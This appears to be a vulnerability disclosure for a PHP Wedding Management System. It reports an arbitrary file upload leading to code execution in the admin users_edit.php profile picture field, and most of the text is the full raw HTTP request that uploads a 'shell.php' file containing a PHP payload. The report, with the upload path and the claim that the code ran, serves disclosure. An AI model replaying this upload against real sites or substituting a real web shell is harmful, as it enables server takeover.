vendor: https://codeastro.com/wedding-management-system-in-php-with-source-code/
Vulnerability url: http://ip/Wedding-Management/admin/users_edit.php?id=8
Loophole location：The editing function of "User Management" module in the background management system-- > there is an arbitrary file upload vulnerability (RCE) in the picture upload point of "users_edit.php" file.
Click "Edit User" to save
Request package for file upload：
POST /Wedding-Management/admin/users_edit.php?id=8 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/Wedding-Management/admin/users_edit.php?id=8
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------11784258372980
Content-Length: 1069
-----------------------------11784258372980
Content-Disposition: form-data; name="submit"
-----------------------------11784258372980
Content-Disposition: form-data; name="profile_picture"; filename="shell.php"
Content-Type: application/octet-stream
JFJF
<?php phpinfo();?>
-----------------------------11784258372980
Content-Disposition: form-data; name="firstname"
Pharell
-----------------------------11784258372980
Content-Disposition: form-data; name="lastname"
Colin
-----------------------------11784258372980
Content-Disposition: form-data; name="email"
pharell@mail.com
-----------------------------11784258372980
Content-Disposition: form-data; name="username"
pcolin
-----------------------------11784258372980
Content-Disposition: form-data; name="gender"
m
-----------------------------11784258372980
Content-Disposition: form-data; name="address"
115 Test Street
-----------------------------11784258372980
Content-Disposition: form-data; name="designation"
1
-----------------------------11784258372980--The files will be uploaded to this directory \admin\upload\users\
We visited the directory of the file in the browser and found that the code had been executed
